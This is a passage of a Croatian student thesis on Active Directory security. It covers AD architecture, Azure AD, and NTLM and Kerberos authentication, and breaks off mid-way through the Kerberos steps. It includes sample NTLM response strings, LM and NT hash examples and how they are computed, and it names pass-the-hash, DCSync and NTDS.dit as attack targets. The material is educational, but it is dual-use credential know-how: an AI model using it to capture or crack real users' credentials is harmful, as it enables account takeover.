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1. Uvod

Microsoft Active Directory (Microsoft, 2022)* (u nastavku AD) je programsko rie$enje za
nadzor, upravljanje i orkestraciju resursa u organizacijskom okruzenju. Zbog svoje
efikasnosti, olakSane upravljivosti kroz graficko sucelje te odlicne integracije sa Siroko
rasprostranjenim Windows ragunalima (Krishnamoorthi & Carleton, 2020)?, iznimno je
popularno u danasnjim tvrtkama — oko 90% Fortune 1000 organizacija koristi AD kao
glavno rjeSenje za upravljanje svojim raCunalnim entitetima, poput racunala, printera,
korisnika i slicno. Obzirom na svoju popularnost i zastupljenost u velikim tvrtkama, AD
je takoder dobro poznata meta i kibernetickim kriminalcima (Smith, 2023)° koji
iskoriStavaju ranjivosti u samom alatu ili (Ce$¢e) pogresne konfiguracije ovog alata kako
bi ostvarili financijsku odnosno informacijsku dobit, ili nanijeli reputacijsku Stetu nekoj

organizaciji.

Ovaj rad ce predstaviti osnovne koncepte i arhitekturu sustava upravljanog pomocu
Active Directory alata, tipicne miskonfiguracije takvog sustava te ¢e donijeti pregled
osnovnih napada na ova okruzenja. Isto tako, kroz rad ¢e se prikazati koristenje
odredenih ofenzivnih alata sa strane kibernetiCke sigurnosti i artefakti koje napadi
ostavljaju kako bi se mogli identificirati indikatori kompromisa (engl. Indicators of

Compromise, 10C) u svrhu razvoja metoda detekcije i/ili prevencije ovakvih napada.

Za potrebe demonstracije podignuto je virtualno testno okruZenje u kojem se nalazi
jedan Domain Controller, jedno obi¢no korisni¢ko racunalo i Kali racunalo koje ¢e se
koristiti kao pomoéno racunalo za napad na sustav. Korisnici u sustavu su dmilicevic
koji predstavlja obi¢nog korisnika s niskim privilegijama te DA-dmilicevic koji predstavlja

adminstratora domene (engl. Domain Administrator).

! https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-
domain-services-overview

% https://www.frost.com/frost-perspectives/active-directory-holds-the-keys-to-your-kingdom-but-is-it-
secure/

3 https://petri.com/cyberattacks-increased-38-in-2022-secure-active-directory-now/
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2. Active directory

2.1 Povijesni pregled

Microsoft Active Directory je proizvod koji je povijesno zna€ajan za tvrtku Microsoft i koji
donosi velike promjene u upravljanju mreznih sustava. Active Directory je predstavljen
zajedno s Windows serverom 2000. godine. (Desmond, Richards, Allen, & Lowe-Norris,
2013)* Prije nastanka AD-a, Microsoftovo rjeenje za upravljanje korisnicima i resursima
su bile Windows NT domene. Ove domene su bile decentralizirane, sto je znacilo da je
svaka domena imala isklju€ivo svoju bazu podataka i nije imala uvid u druge domene,
iako su se one mogle nalaziti u istoj mrezi. Samim time, Windows NT domene su bile
ograni¢ene s glediSta skalabilnosti jer nisu bile prikladne za koriStenje u modernim
sustavima koji su Cesto iznimno granularni, podijeljeni na logi¢ke odnosno semanticke
cjeline te se potencijalno protezu na nekoliko kontinenata. lzlaskom posluziteljskog
izdanja Windows 2000 operacijskog sustava na tehnoloSku scenu stupa i Active
Directory te ubrzo postaje dominantno rjeSenje za upravljanje mreznim sustavima. AD
donosi hijerarhijsku strukturu za organiziranje objekata, kao $to su korisnici, racunala i
grupe, unutar takozvanih domena, drveca (engl. Tree), odnosno Suma (engl. Forest).
Ovakva hijerarhijska struktura postavila je drukg€iji standard upravljanja sustavom, ali je

ujedno i teZila za poboljSanjima u podrucju sigurnosti i performansi.

Dolaskom Windows Server 2003 i Windows Server 2008 operacijskih sustava dolaze i
navedena poboljSanja sigurnosnih aspekata i efikasnosti. Takoder je uvedena i podrska
za viSe domena unutar jednog AD sustava, podrska za migraciju starih NT domena na
moderne AD domene, dodatak za lakSe upravljanje resursima unutar sustava u obliku
Domain Services uloge (engl. Domain Services Role) te podrska za forest. U novijim
verzijama, AD donosi implementacije novih sigurnosnih mehanizama poput koristenja
jednokratnih lozinki i visefaktorske autentifikacije, kao i podrSku za moderna okruzenja u

oblaku (engl. cloud) u obliku Azure Active Directory web aplikacije. Ovim koracima

* 2013, Desmond, Brian; Richards, Joe; Allen, Robbie; Lowe-Norris, Alistair G., Active Directory, 4th
Edition, O'Reilly
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Microsoft pospjeSuje integraciju svih svojih proizvoda u jedan sustav, dozvoljavajuci i
hibridne modele u kojima korisnici mogu djelomi¢no koristiti i vlastite posluZitelje (engl.
on-premise infrastructure) uz dostupne cloud alternative. Takoder, jaCa povezanost s
ostalim Microsoft alatima, poput cijelog Office365 (odnosno danas Microsoft 365)
paketa alata, Microsoft Defender EDR (engl. Endpoint Detection and Response)

rieSenjem, i mnogim drugima. (Microsoft, 2023)°

Slika 1. Arhitektura Active Directory okruZenja

FOREST
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PCs Printers

https://redfoxsec.com/blog/active-directory-basics/

2.2 Glavne funkcionalnosti i principi rada

° https://learn.microsoft.com/en-us/azure/active-directory/fundamentals/active-directory-whatis
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Sve resurse unutar nekog Active Directory okruzenja nazivamo objektima te ih mozemo
svrstati u 2 glavne grupe: kontejnerski objekti i listovi. Svaki od ovih tipova objekata
izvrSava odnosno sluzi odredenoj funkcionalnosti, stoga su tako i semanticki

raspodijeljeni. (Microsoft, 2022)°

2.2.1 Korisnicki racun

KorisniCki racun (engl. User) je rubni objekt (list) koji sadrzi informacije o stvarnom
korisniku sustava kojem je dodijeljena lozinka i korisni¢ko ime, jedinstveni identifikator,
telefonski broj i drugi atributi. Ovaj objekt moZe imati hijerarhijski nadredenog korisnika
(primjerice voditelj tima), moze biti ¢lan raznih grupa na temelju kojih mu se mogu
dodjeljivati razne ovlasti te se moze aktivho prijavljivati u sustav koristeéi svoje

vjerodajnice.

2.2.2 Kontakt

Kontakt (engl. Contact Object) je tip rubnog objekta koji sadrzi atribute sline
korisnickom ra¢unu, no ne moze se aktivno prijavljivati u sustav. Svrha kontakta jest da
sluzi kao referenca na vanjske korisnike odnosno suradnike te da sprema informacije o

njima ukoliko one budu potrebne, analogno telefonskom imeniku ili posjetnici.

2.2.3 Racunalo

Racunalo (engl. Computer Object) je list koji predstavlja raCunalo koje je spojeno u neku
AD domenu. Sadrzi razne atribute poput jedinstvenog identifikatora, DNS naziva, verzije
operacijskog sustava i slicno te, poput korisni¢kog racuna, moze aktivho sudjelovati u

organizaciji.

e https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-
domain-services-overview
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2.2.4 Grupa

Grupa (engl. Group) u Active Directoryju predstavlja kontejner unutar kojeg se mogu
nalaziti drugi objekti poput korisnika, racunala, kontakata ili drugih grupa te se dodatno
dijele na 2 glavna tipa: sigurnosne grupe i distribucijske liste.

Sigurnosne grupe (engl. security group) su kontejneri koji se koriste kako bi se putem
njih odredenim objektima dodijelila odredena prava. Primjerice, jedna od
pretpostavljenih sigurnosnih grupa u Active Directory sustavu je grupa Domain

Administrators — svi korisnici ove grupe imaju vrhovna prava nad nekom AD domenom.

S druge strane, distribucijske grupe (engl. distribution group) su grupe koje se koriste u
svrhu jednostavnijeg razasiljanja e-mail poruka njenim ¢lanovima. Primjerice, moguce je
kreirati jednu grupu naziva Zavod za matematiku kojoj je dodijeljena e-mail adresa
matematika[atlunipu.hr, a unutar koje se dodatno nalaze distribucijske grupe za
pojedine matematiCke predmete na sveuciliStu. Kada netko posalje e-mail na navedenu
adresu, svi ¢e Clanovi distribucijske grupe (bilo direktni ili indirektni, primjerice ¢lanovi

ugnjezdenih grupa) primiti tu poruku.

Uz navedene objekte postoje i dodatni tipovi resursa — neki od njih su manje bitni pa ih
se u ovom radu nece dodatno opisivati (npr. dijeliene mape, printeri i sli¢no), dok su
neki od njih direktno vezani uz strukturu cijelog Active Directory sustava te Ce se

detaljno objasniti u nastavku.

2.3 Hijerarhijska struktura

Struktura Active Directory sustava je slicna strukturi Windows datoteCnog sustava
(NTFS, New Technology File System) — dozvoljava grupiranje elemenata u stablastu
strukturu koja ima jedan ili viSe korijena (forest), ispod kojeg se nalazi mnostvo drugih
elemenata, pocCevsi s Tree odnosno Domain elementom, a zavrSavajuc¢i s nekim od

rubnih objekata (ili praznim kontejnerom) kao listovima stabla.
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2.3.1 Domena

Domena (engl. domain) je logiCka organizacijska jedinica koja omogucuje centralizirano
upravljanje korisnicima, racunalima i drugim objektima u mreznom okruzenju.
Predstavlja osnovnu jedinicu administracije i omogucuje organizaciju i upravljanje
resursima na mrezi. Primarna svrha joj je logi¢ko grupiranje korisnika, raCunala i drugih
objekata prema potrebi administracije i sigurnosti. Stoga je, primjerice, uobiCajena
praksa kreirati zasebne domene za testna, produkcijska, i druga okruzenja. Glavnu
ulogu u administriranju pojedine domene imaju korisnici s ulogom Domain
Administrator.

Active directory domena je servis koji omogucuje centraliziranu administraciju svih
radnih stanica i servera na bilo kojem sustavu. Zbog Siroke upotrebe i usvajanja ove
usluge, postala je meta mnogih napadaca. Napadi na Active Directory razvijali su se
godinama. Napadi ciljaju razliCite funkcije i znaCajke koje pruZa Active Directory. U
nastavku objasnjavanjem administracije govorimo o konceptu Active Directory sustava i

objasnjavamo tri vrste napada i razli¢ite mehanizme obrane.”(Mokhtar, 2022).

Domena unutar AD sustava sastoji se od Cetiri glavhe komponente: hijerarhijske
strukture kontejnera i rubnih objekata, jedinstvnog imena domene (analogno
internetskim domenama, ,identifikator), politike ponasanja (engl. Group Policy) te
sigurnosnih elemenata koji omogucuju autentifikaciju i autorizaciju entiteta domene. O

ovim elementima ¢e se detaljno pric¢ati tijekom ovog rada.

Vazno je napomenuti da se ime domene koristi i u kontekstu DNS protokola kako bi se
pojedina raCunala unutar domene mogla identificirati putem njihovog naziva umjesto IP
adrese. Primjerice, web server unutar AD domene ,domena.local® mozZzemo nazvati
,web01% 8to znali da ¢e domenski DNS posluzitelji moci identificirati IP adresu tog
raCunala ukoliko se poSalje DNS upit za ,web01.domena.local“. Upravo iz ovog razloga,
preporuceno je koristenje privatnih TLD ekstenzija (top-level domain) poput .local, .lab ili

" Mokhtar, Basem & Jurcut, Anca & ElSayed, Mahmoud & Azer, Marianne. (2022). Active Directory
Attacks—Steps, Types, and Signatures. Electronics.
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slicnih, kako se interna domena ne bi slu¢ajno podudarala s javnom, internetskom

domenom Sto u nekim slu€ajevima moze dovesti do znac€ajnih sigurnosnih propusta.

2.3.2 Stablo

Ukratko, stablo (engl. tree) je grupacija vise poddomena jedne domene Kkoje
medusobno mogu pristupati resursima domene roditelja ili susjednih poddomena
zahvaljujuéi konceptu ,vjerovanja“ (engl. trust) — ukoliko jedna domena ,vjeruje“ drugoj,
odnosno uspostavljen je trust izmedu njih, korisnici u pojedinoj domeni ¢e moci Kkoristiti
resurse iz druge. Kako bi ovaj trust pravilno funkcionirao, potreban je Global Catalog

posluzitelj (ujedno i Domain Controller) koji sadrzi informacije o svim resursima u stablu.

2.3.3 Suma

U AD sustavu, Suma (engl. forest) oznacava jednu ili skupinu domena koje djeluju kao
jedna cjelina, primjerice jedna organizacija moze biti smjeStena unutar jedne Sume.
Forest je najviSa razina hijerarhije u Active Directoryju, ima jedinstveno, nepromjenjivo
ime i stablo DNS imena koji koristimo za identifikaciju svih objekata u Sumi. Glavnu
ulogu u administriranju pojedine Sume imaju Kkorisnici s ulogom Enterprise

Administrator.

Prilikom kreacije Sume, sve domene koje Suma obuhvaca ¢e uspostaviti implicitni trust,
no dvije Sume si medusobno nece vjerovati osim ako se takav trust model eksplicitno ne
kreira. Ovakav model koriStenja vecéeg broja Suma je Cesta praksa u velikim
organizacijama koje su interno razdvojene geografski i/ili logi¢ki $to omogucuje bolju
semanti¢ku odvojenost, no isto tako potencijalno unosi nove sigurnosne probleme koji

izlaze van okvira ovog rada.
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Slika 2. Odnos domena, stabla i Sume

Domain forest configuration

Domain forest

Trust
relationship

Domain tree

https://www.techtarget.com/searchwindowsserver/definition/Active-Directory-tree-AD-tree

2.3.4 Organizacijska jedinica

Organizacijske jedinice (engl. organizational unit, OU) su kontejneri koji sluze za logi¢ko
odvajanje elemenata domene. Primjerice, uobiCajena je praksa kreirati zasebne OU na
temelju geolokacije, pojedinih odjela unutar organizacije i slicno. OU kontejner osim
rubnih objekata takoder moze sadrzavati i druge OU, §to dozvoljava granularnije
razdvajanje pojedinih entiteta unutar domene. Primjerice, kako bismo razdvojili
klijentska od posluziteljskih racunala, mozemo kreirati OU ,racunala“ unutar kojeg se
nalaze dodatna 2 OU kontejnera ,klijenti“ i ,posluZitelji*. Takoder, nad pojedine
organizacijske jedinice moguce je primijeniti prilagodene politike ponasanja kako bi se

odredenim objektima ogranicila prava na samo one resurse koji su im potrebni.
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Slika 3. Primjer strukture Active Directory sustava

] Active Directory Users and Computers

File Action View Help
&= 2nH B XEc HEIPaETER

: Active Directory Users and Computers [LabDC.offenselocal] || Mame Type Description
- saved Queries %Administrator User Built-in account for ad...
v offegj:;lizcal %Allowed RODC Password Replication Gr...  Security Group... Members in this group c...
4 Computers & bob User
:T Domain Controllers %Cert Publishers Security Group... Members of this group ...
7 ForeignSecurityPrincipals %Elozea:}-le D.omain Controllers lSllecurit).r Group.. Members of this group t..
- : a-drmilicevic sEr
= Bﬂ:el'::gf-'d ervice Accounts %Denied RODC Password Replication Gre..  Security Group.. Members in this group c..
h % dmilicevic User
éE,DnsAdmins Security Group., DNS Administrators Gro..
:%DnsUpdateProxy Security Group.. DNS clients who are per...
:%Domain Admins Security Group... Designated administrato...
:E‘E,Domain Computers Security Group.. All workstations and ser..,
%Domain Controllers Security Group...  All demain centrellersi...
:%Domain Guests Security Group.. All domain guests
:E‘E,Domain Users Security Group...  All domain users
%Enterprise Admins Security Group.., Designated administrato..,
:E‘E,Enterprise Key Admins Security Group.. Members of this group ...
%Enterprise Read-only Domain Coentrellers  Security Group..  Members of this group ..
:%Group Policy Creator Owners Security Group.. Members in this group c...
E.;Guest User Built-in account for gue...
:E‘E;Keyhdmins Security Group.., Members of this group ...
%Protected Users Security Group... Members of this group ...
:%RAS and A5 Servers Security Group..  Servers in this group can..
%Read-only Domain Controllers Security Group... Members of this group ...
:%Schema Admins Security Group.., Designated administrato..,

Microsoft je razvio hijerarhijsku strukturu da pruzi uslugu koja se odnosi na pohranu
informacija o objektima putem opseZznog popisa objekata na mrezi. Mrezni
administratori kreiraju i upravljaju korisnicima i objektima unutar dane mreze Sto
zauzvrat zahtijeva organizaciju mreze na pravilan nacin. Kako mreza raste, potrebno je
veliki broj korisnika organizirati u logiCke grupe i podgrupe, uz osiguranje kontrole
pristupa na svakoj razini, $to zahtijeva koristenje Active Directoryja. Microsoft je razvio
hijerarhijsku strukturu kako bi dao uslugu koja se odnosi na pohranjivanje informacija o

objektima putem sveobuhvatnog popisa objekata na mrezi. (lyer, 2020).

2.3.5 Politike ponaSanja

Kako bi se omogucila granularnost upravljanja resursima nekog AD sustava, kreirane
su politike ponasanja, odnosno Group Policy Objects (GPO). GPO je tip objekta koji
administratoru dozvoljava da provede Zeljene politike nad racunalima i korisnicima kako
bi ih prisilio da se ponasaju u skladu s pravilima sustava. Neke od Cesto koriStenih

politika uklju€uju postavljanje minimalne kompleksnosti lozinke, prisilno omogucavanje
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Windows Update funkcionalnosti, zabrana promjene lokalnih sigurnosnih postavki
(primjerice zaustavljanje antivirusnog rjesenja) i slicno. Ove politike se mogu primijeniti
na razini organizacijske jedinice, domene, stabla ili Sume, a skladnost pojedinog resursa
i primijenjene politike se osigurava sinkronizacijskim mehanizmima koji se periodicki i

automatizirano primjenjuju na resurse.

Vazno je za spomenuti da se politike koje se primjenjuju na resurs uvijek primjenjuju
definiranim redoslijedom, poznatim pod skraéenicom LSDOU - Local, Site, Domain,
Organizational Unit. Ovo znacCi da se prvo primjenjuju lokalne politike resursa, zatim
politike definirane nad nekim AD site-om (internetska mreza koja definira fiziCku
strukturu AD-a), politike nad domenom i konacno politike nad nekom organizacijskom
jedinicom. Ukoliko se neki dijelovi politika preklapaju, primjenjuje se ona koja dolazi

kasnije u lancu, odnosno politika definirana nad OU objektom ¢e uvijek biti primjenjena.
8

8 lyer, Nalini & Kabbur, Anil & Wali, Heera. (2020). Implementation of Active Directory for efficient
management of networks. Procedia Computer Science.

Zavrsni rad 10 Napadi na metode...



Slika 4. Group Policy Objects
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2.4 Vrste posluzitelja

Obzirom na Sirok spektar funkcionalnosti koje su dostupne kao dio Active Directory
sustava, uobiCajena je praksa kreirati razdvojene posluzitelie za razliCite
funkcionalnosti. Neki od bitnijih posluzitelja koji se nalaze u vecini Active Directory
okruzenja su Domain Controller (DC), NPS, DNS, VPN posluzitelji i mnogi drugi.

2.4.1 Domain Controller

Domain Controller (DC) je glavni autentikacijski i autorizacijski posluzitelj u AD sustavu.
Sluzi kao baza podataka koja sadrzi informacije o svim resursima koji se nalaze u
njegovoj domeni ukljuCujuci i korisniCke podatke te ostale konfiguracijske datoteke
potrebne za ocCuvanje strukture Active Directoryja. Ovaj posluzitelj takoder Cesto
poprima i ulogu DNS posluZitelja. Jedna od najvaznijih datoteka na svakom Domain

Controller posluzitelju je NTDS.dit (New Technology Directory Services) datoteka koja
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sadrzi osjetljive informacije o korisnicima, poput njihovih korisni¢kih imena, lozinki,
pripadnosti grupama i slicno. Upravo zbog svog sadrzaja, NTDS.dit je jedna od glavnih

meta napadaca.

2.4.2 Replikacija

Obzirom da je DC glavni autentifikacijski i autorizacijski posluZitelj, nuzno je ovaj
posluZitelj odrzati stabilnim i aktivnim. Kako bi se osigurala mogucnost failover-a,
odnosno koriStenje zamjenskog posluzitelja u slucaju kvara, u AD okruzenjima se
nerijetko instalira nekoliko DC posluZitelja. Kako bi podaci na razliCitim DC-ovima bili
konzistentni, uveden je mehanizam replikacije podataka koji putem RPC protokola
sinkronizira informacije medu DC posluziteljima. Obzirom da se tijekom ovog procesa
prenose osjetljive informacije, razvijene su napadacke metode za izvlaCenje podataka

koristeCi ovaj mehanizam, primarno u obliku DC Sync napada.

2.4.3 Network Policy Server

NPS posluzitelj u Active Directory sustavu sluzi za autentifikaciju i autorizaciju korisnika
prilikom pristupa mreznim resursima u okruzenju. NPS omogucéuje administratorima da
granularno kontroliraju pristup odredenim dijelovima mrezZe, ovisno o pravima korisnika,
uredaju ili lokaciji s koje se spajaju i slicno. U svojim temeljima, NPS posluzitelj je
zapravo Microsoftova implementacija protokola RADIUS (Remote Authentication Dial-In
User Service), koji u suradnji s podacima iz Active Directoryja donosi odluke o

autorizaciji i autentifikaciji korisnika na mrezu.

2.4.4 Domain Name Service

DNS posluzitelj je kljuéni dio infrastrukture AD-a jer omogucuje prevodenje imena
domena u IP adrese i obrnuto. Ovi posluzitelji osiguravaju pravilan rad usluga u sustavu
i omogucuju ispravnu komunikaciju klijenata i posluzitelja, analogno internetskim DNS
posluZiteljima. DNS unutar AD-a moZemo smatrati i integriranim DNS posluZiteljem jer
koristi AD za pohranu informacija o DNS zapisima. Prednosti AD DNS-a su brojne, a

jedna od njih je i konzistentnost izmedu podataka AD-a i DNS podataka, njihovo
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repliciranje i sliéno. Cesta je praksa kao glavne DNS posluZitelje za sustav koristiti
Domain Controller-e, koji u slu€aju nepoznatog zahtjeva isti prosljeduju dalje, do
glavnog (engl. primary) DNS DC posluZzitelja, koji ¢e u tom slu€aju ili vratiti odgovor na
upit, ili ga proslijediti nekom vanjskom DNS posluzitelju, poput Google-a. Ovaj model je
takoder poznat kao DNS Forwarding.

245 VPN

VPN posluzitelj unutar Active Directory okruZenja pruza siguran i privatan pristup
korporativnom mreznom okruZenju putem Interneta. VPN posluzitelj integriran je s AD-
om te ga Kkoristi za autentifikaciju korisnika na lokalnu mrezu. Administratori mogu
postavljati pravila za pristup VPN-u i ograniciti pristup odredenim grupama korisnika te
pratiti i nadzirati aktivhost za udaljene korisnike koji mogu raditi i izvan fizickog prostora
ureda. Bitno je za primijetiti da, obzirom na prirodu ovog posluzitelja, VPN servis mora
biti objavljen na javhom Internetu, Sto znaCi da ovaj posluzitelj mora biti redovno
azuriran te kvalitetno osiguran i nadziran koristeci alate poput vatrozida i IPS rjeSenja

(engl. Intrusion Prevention System).

3. Azure Active Directory

Azure AD (AAD) je moderna paralela klasiénom, fizickom (engl. on-premises) Active
Directory okruzenja koja je izgradena u oblaku. AAD omogucuje zaposlenicima pristup
vanjskim resursima, kao $to su Microsoft 365, Azure portal i druge SaaS aplikacije, ali i
pristup internim resursima kao $to su aplikacije na korporativhom intranetu ili bilo koje
interno razvijene aplikacije u oblaku. Azure AD je dizajniran kako bi omogucio
organizacijama upravljanje identitetima i pristupom na vlastite cloud i on-premises
resurse. Moze se Koristiti kao pruzatelj identiteta za razliCite aplikacije prve i tre¢e
strane uz pomoc¢ OAuth integracije i za upravljanje privilegijama pristupa korisnika u

organizaciji kroz Privileged Identity Management konzolu.
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Vazno je napomenuti kako je Azure uklonio koncept domena odnosno Suma. Umjesto
toga, AAD dodaje novi koncept koji nazivamo organizacijama (engl. tenant). Tenant je
povezan sa jednim identitetom (osobom, tvrtkom ili organizacijom) i jednom instancom
AAD-a te moze posjedovati jednu ili viSe pretplata (engl. subscriptions) koje se nalaze u
istoj instanci — sli€no konceptu stabla i domene. Svaka pretplata moze sadrzavati
zasebne odnosno izolirane resurse, poput virtualnih strojeva, mreznih kartica, prostora

za pohranu i slicno te ¢e se svaka pretplata naplacivati zasebno.

3.1 Hibridni model

Obzirom na koli¢inu ve¢ postavljenih on-premises Active Directory okruzenja i
potencijalne troSkove koje donosi migracija na cloud rjeSenje, Microsoft nudi opciju
integracije postoje¢eg on-premises AD-a s cloud AAD-om. Ova integracija omogucuje
organizacijama da Koriste iste identitete za pristup lokalnim i cloud resursima, stvarajuci

jedinstveno korisnicko iskustvo i olakSavajuci upravljanje identitetima.

Jedna od glavnih prednosti hibridnih modela Azure AD-a je mogucénost korisnika da
imaju jedno korisniCko ime i lozinku za pristup razlicitim aplikacijama i resursima, bez
obzira na to jesu li smjesSteni lokalno ili u oblaku, Sto se postize pomocu servisa kao Sto
su Azure AD Connect i Active Directory Federation Services (ADFS), koji omogucuju
sinkronizaciju korisni¢kih raCuna, grupa i atributa iz lokalnog AD-a u Azure AD.
Dodatno, uvodenje AAD-a olakSava implementaciju viSefaktorske autentifikacije, nadzor

korisniCkih prijava, promjena nad resursima i sli¢no.

4. Autentifikacija, autorizacija, racunovodstvo

Kao moderni standard za upravljanje korisni¢kim raCunima odnosno identitetima uveden
je tzv. Triple A model — Authentication, Authorization, Accounting (Aruba Networks)®.
Ovaj model sjedinjuje proces autentifikacije (postoji li korisnik) i autorizacije (posjeduje li

korisnik dovoljna prava pristupa) s racunovodstvom, to jest vodenjem zapisnickih

*https://www.arubanetworks.com/techdocs/ClearPass/6.7/Aruba_DeployGd_HTML/Content/802.1X%20A
uthentication/About_ AAA.htm
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dnevnika o ponasanju korisnika, kako bi se svaki pristup resursima i sustavu pravilno

regulirao i dokumentirao.

U slu€aju Windows sustava odnosno specificno on-premises Active Directory okruzenja,
autentifikacija je implementirana koriste¢i protokole NTLM (Microsoft, 2022)*° i Kerberos
(Microsoft, 2021)**, autorizacija se rje$ava koriste¢i pristupne liste (Medhi)*?, dok se

Event Tracing for Windows (ETW) (Microsoft, 2021)* sustav brine o radunovodstvu.

4.1 NTLM autentifkacija

NTLM je autentifikacijski protokol koji radi na principu pitanje-odgovor (engl. challenge-
response) kako bi korisnika autentificirao u sustav. lako se ovaj protokol smatra slabim i
ranjivim, primarno zbog koristenja slabih kriptografskih metoda poput DES-a, jo$ uvijek
je relevantan i u modernim Windows sustavima zbog kompatibilnosti sa starijim

verzijama operacijskog sustava.

Slicno modernijem Kerberosu, NTLM protokol ima ,trokutastu® arhitekturu: u procesu
sudjeluju autentifikacijski klijent odnosno korisnik, posluZziteli na kojeg se Kkorisnik
prijavljuje i autentifikacijski servis. U slu€aju NTLM-a, ulogu servisa preuzima direktno

Domain Controller.

4.1.1 Proces autentifikacije

Sam proces NTLM autentifikacije moze se podijeliti na sljedecih 8 koraka:

1. Korisnik prosljeduje svoje korisni¢ko ime, lozinku i ime domene svom lokalnom
klijentu

2. Kilijent kreira saZetak lozinke i briSe originalnu lozinku

3. Kiijent prosljeduje korisnicko ime posluzitelju na kojeg se prijavljuje

4. Posluzitelj odgovara s ,pitanjem® (challenge) — nasumiénim brojem od 16 bajtova

19 https://learn.microsoft.com/en-us/windows-server/security/kerberos/ntim-overview

" https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview
12 https://lwww.securew2.com/blog/windows-access-control-acl-dacl-sacl-ace

13 https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/event-tracing-for-windows--etw-
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5. Klijent Sifrira challenge sazetkom lozinke te to Salje kao odgovor (response)
posluzitelju

6. Posluzitelj prosljeduje challenge, response i korisni¢ko ime prema DC-u
DC dohvaca sazetak lozinke iz baze i pomocu nje Sifrira challenge

8. Na temelju usporedbe generiranog i dobivenog response podatka dozvoljava

odnosno zabranjuje autentifikaciju korisnika u sustav. (Crowdstrike, 2023)*

Slika 5. Tijek NTLM autentifikacije
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1. Authentication Request
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4. Send[ Challenge [ Response ]
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https://tryhackme.com/room/winadbasics

Vrijedi spomenuti da postoje 2 verzije NTLM protokola: NTLMv1l i NTLMv2, koje su
konceptualno jednake, no NTLMv2 koristi snaznije kriptografske algoritme kako bi

Sifrirala podatke tijekom procesa. (Gombos, 2018)™

NTLMv1 response primjer:

1 https://www.crowdstrike.com/cybersecurity-101/ntim-windows-new-technology-lan-manager/
1o https://medium.com/@petergombos/Im-ntim-net-ntimv2-oh-my-a9b235c58ed4
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SERVER$: : DOMAIN:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972: F35A3FE17DCB31F9BESA
8004B3F310C150AFA36195554972:1122334455667788

NTLMv2 response primjer:

admin: :N46iSNekpT:08cad5b7d7ea58ee:88dcbed4446168966a15320064958dac6:5c7830315c7830310
000000000000b45c67103d07d7b95acd12ffal1230e0000000052920b85F78d013c31cdb3b92f5d765c78
3030

4.1.2 Lan Manager saZetak

Lan Manager (LM) je najstariji tip sazetka kojeg je Windows OS aktivno koristio, kreiran
u 1980.-ima. Obzirom da se izgraduje od ograni¢enog broja znakova, jednostavno ga je
pogoditi, a moguce ga je prona¢i u NTDS.dit datoteci na Domain Controller

posluziteljima s operacijskim sustavima starijima od verzije Windows Server 2008.
SaZetak se kreira kroz 6 koraka:

Sva mala slova lozinke pretvore se u velika

Lozinku se dopuni do 14 znakova s NULL znakovima (null-byte)
Podijelimo lozinku na dvije grupe po 7 znakova

Svaka grupa od 7 znakova predstavlja jedan DES klju¢

DES algoritmom Sifriramo niz ,KGS ! @#$% koriste¢i generirane klju¢eve

o g s~ w D PE

Spojimo dva DES S§ifrirana niza i dobijemo LM saZetak (Gombos, 2018)

Primjer LM saZetka: aad3b435b51404eeaad3b435b51404ee

4.1.3 NT saZetak

NT sazetak (Cesto pogreSno zvan NTLM hash) je kriptografski sazetak koji se koristi u
modernim Windows sustavima u svrhu autentifikacije. Sli€no LM sazetku, moguce ga je
izvuCi iz NTDS.dit datoteke na DC posluZitelju te pomocéu njega izvrsiti pass-the-hash

napad.

Ovaj sazetak generira se jednostavnim algoritmom:

1. lozinku zapiSemo u little-endian UTF-16 formatu
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2. dobiveni tekst sazmemo MD4 algoritmom §to rezultira NT saZetkom (Gombos,
2018)

Primjer NT sazetka: 31d6cfe@d16ae931b73c59d7e0c089¢c0

4.2 Kerberos autentifikacija

Kerberos je autentifikacijski protokol koji koristi kriptografiju tajnog klju€a (simetri¢na
kriptografija) i pouzdanu tre€u stranu za provjeru identiteta korisnika. Prvobitno razvijen
na MIT institutu kao dio projekta Athena u kasnim 80-ima, Kerberos je danas zadani

(engl. default) autorizacijski protokol koji se koristi u Windows okruzenjima.

Analogno troglavom psu Kerberu iz gréke mitologije, tri ,glave“ Kerberosa predstavljaju
klijenta (korisnik i lokalni program), posluzitelja i centar za distribuciju kljuCeva (engl.
Key Distribution Center, KDC). KDC funkcionira kao pouzdana usluga provjere
autenti¢nosti treCe strane (engl. third-party). Korisnici, strojevi i usluge koje koriste
Kerberos ovise samo o KDC-u, koji se interno sastoji od 2 servisa: autentifikacijskog
posluzitelja koji prijavljuje korisnika u sustav i servisa za izdavanje ulaznica, TGS (engl.
Ticket Granting Service). Ulaznice su simbolic¢ki nazvani tokeni koji autentificiranom
korisniku dopustaju pristup na viSe resursa pokrivenih istim autentifikacijskim tijelom (u
ovom slucaju, KDC unutar AD sustava). Takoder, sli¢no tokenima, ulaznica ima
ograni¢eno trajanje, $to znaci da svaka Kerberos ulaznica ima vremensku oznaku o
izdavanju i modifikaciji te podatke o maksimalnom zZivotnom vijeku ulaznice, nakon

kojeg prestane biti vazeca.
Proces autentifikacije moze se raspisati u 12 koraka:

1. Korisnik lokalnom klijentu Salje korisni¢ko ime, lozinku i domenu

2. Kilijent kreira autentikacijski paket koji se sastoji od korisni¢kog imena, trenutnog
vremena i ostalih relevantnih informacija. Svi podaci unutar ovog paketa izuzev
korisni¢kog imena se Sifriraju sazetkom korisniCke lozinke.

3. Kilijent Salje Sifrirani paket prema KDC-u
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4. KDC trazi korisni¢ko ime u svojoj bazi te (ukoliko postoji) izvlaci sazetak
korisniCke lozinke s kojom deSifrira paket. Ukoliko deSifriranje uspije, korisnikov
identitet je potvrden. Interno, ovu radnju obavlja autentifikacijski posluzitelj (AS).

5. Nakon uspjesne autentifikacije, KDC izdaje Ticket-Granting-Ticket (ili Ticket-to-
Give-Ticket, TGT) koju Sifrira privremenim kljuCem te Salje natrag korisniku. Isti
privriemeni klju€ je podijeljen s TGS-om.

6. TGT se sprema na klijentskom uredaju te se moze koristiti za pristup drugim
posluziteljima u mrezi.

7. Ukoliko klijent treba pristupiti nekom drugom posluZzitelju, dobiveni TGT 3alje
prema KDC-u (interno TGS), zajedno s identifikatorom posluZzitelja kojem
pristupa.

8. KDC (odnosno TGS) desifrira ulaznicu koristeCi spremljeni privremeni klju¢

9. KDC (odnosno TGS) generira novu ulaznicu za pristup trazenom posluzitelju,
